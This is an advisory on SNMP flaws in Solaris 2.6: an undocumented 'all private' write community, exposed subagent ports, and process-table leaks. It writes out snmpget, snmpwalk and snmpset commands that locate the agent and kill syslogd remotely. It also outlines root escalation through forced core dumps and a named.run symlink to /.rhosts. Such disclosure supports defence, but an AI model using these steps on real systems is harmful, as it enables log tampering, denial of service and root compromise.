Vulnerabilities in Sun Solaris 2.6 SNMP Jeremy Rauch Sun's snmpd implementation as supplied with Solaris 2.6 includes what used to be shipped with Sun's Solstice Admin suite as it's snmpd, and associated subagents. Sun's snmpd is actually pretty interesting, in that it supports a number of features that really could be useful, if it wasn't for the fact that snmp is so insecure. Sun allows for the use of subagents, similar, in concept at least, to the AgentX initiatives which were tried with other SNMPv1 implementations. This complexity seems to have lead to a few short sighted design decisions, which can be leveraged to gain extensive information on a machine, as well as used to create both denial of service situations on the machine, as well as making it possible to leverage things to allow root compromise on the local host. I believe it's also probably possible, using either the dmi service, or some of the sunMasterAgent mib to gain remote access. I have not succeeded in doing so yet, but someone with better working knowledge of the Solstice Admin Suite (or who has a copy) could probably easily leverage this to gain remote access. 1) Information gathering ability. Besides the typical amounts of information available via SNMP, Sun was nice enough to add a 'sunProccesses' group. From this table, it's trivial to extract a list of processes running, users logged in, idle times, TTY's, etc. Anything you could get out of a ps or netstat. This all lives in the /var/snmp/mib/sun.mib MIB. Sun's SNMP Master Agent MIB (/var/snmp/mib/snmpdx.mib) also has some interesting pieces of information that might, on the surface, not appear to be all that interesting, but can prove to be. This includes subagent configuration paths, executable paths, watchdog values, listening ports for subagents, and a whole slew of other stuff. 2) MIB manipulation As shipped, Sun has defined 3 communities. They are 'public', 'private', and 'all private'. The first two are defined in /etc/snmp/conf/snmpdx.acl... the final one doesn't seem to exist in any configuration file. Public is read only. Private has write access to (supposedly) only the system mib, and 'all private' has write access to the whole MIB. Yes. The whole MIB. Set's on the MIB-II that are going to work will always work via the SNMP port. Set's to the sunMib usually work via 161 also. But what if port 161 is blocked via the firewall, or via efs or ipfilter on the host? 3) Agent Ports Sun's subagent idea, while a good one, is less than secure. To manipulate the MIB-II and the sunMib, they use a subagent called mibiisa, which runs on some arbitrary high port, usually somewhere around 32780. By probing the with snmpget's on these high ports, we can find the listening port for mibiisa. I tend to do get's for something simple like system.sysDescr.0, which will always exist, using the 'public' community. When a response is recieved, we've hit the mibiisa, and can perform set's via this port with the 'all private' community. Sun's snmpd tends to get in weird limbo states where it behaves badly. I believe this has to do with the subagent communication mechanism, but I'm not entirely sure. Sometimes it's necessary to use the high port to do a set, sometimes, the low one. Sometimes you need to forge the source address as being loopback, sometimes you don't. Why, I have no idea. Things also sometimes take a few seconds to be reflected in the MIB. Processes, for instance, don't always appear instantly in the MIB. Example: Killing a process living on a remote host behind a crappy firewall. a) snmpget -p 32780 -v 1 hostname public system.sysDescr.0 ... nothing gets returned... snmpget -p 32781 -v 1 hostname public system.sysDescr.0 ... nothing gets returned...we keep trying ports until we get something back... snmpget -p 32788 -v 1 hostname public system.sysDescr.0 system.sysDescr.0 = "Sun SNMP Agent, SPARCstation-5" So we know mibiisa lives on port 32788. b) snmpwalk -p 32788 -v 1 hostname public \ .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses which will spew out a listing of all the processes on the machine. Let's go after syslogd. snmpwalk -p 32788 -v 1 hostname public \ .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName \ | grep syslogd This results in: enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName.150 = "syslogd" c) snmpset -p 32788 -v 1 hostname "all private" \ .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessStatus.150 i 9 will send a sigkill to syslogd. And that's the end of logging on the machine. 4) Leveraging SNMP problems for local root access This is actually pretty easy to accomplish. Since we can send any signal, we can always get things to dump core's, and as long as it read in the shadow, we can extract it. Something like ftp would work well. Ftp to the machine, send a sigtrap (5) to it, and it should dump a core in /, mode 644. Httpd's may also be a line of attack. We can also use the (now fixed) problem of rpcbind following of symlinks to create a /.rhosts file. Also, since we can send a SIGUSR1 to in.named, we can create a /usr/tmp/named.run symlink to /.rhosts, send the signal via SNMP, and we're in. (please note, .rhosts is just a convenient example. Any file can be attacked) NOTE: this is also a named bug, in my opinion, and should be addressed. All the tmp file creation should check for existing symlinks, etc. 5) Leveraging SNMP problems for remote root access This is still a somewhat unknown quantity. The snmpdx.mib allows for the addition of subagents, configurations, and states. With better knowledge of the way the Solstice agent portions interact with each other, it seems likely that this could be leveraged for remote access. Something along the lines of depositing a conformant application in a writeable directory (say, an incoming directory in ftp). Causing remote mounts may also be a possibility, or using an automounted directory. 6) Other questionable things The lack of authentication used with DMI is almost as disturbing as SNMP. Any user can remotely install or remove configuration files and subagents using the standard tools provided with 2.6. (dmi_cmd) Again, something like a world writeable ftp dir makes this easy to do. Again, a lack of working DMI knowledge makes it difficult to say just what is possible. The in.named problems mentioned above are problems seperate from the SNMP issues. If someone creates a link, they need only wait for someone to kill -USR1 the process to obtain root access. The file in question is named.run is created in /var/tmp.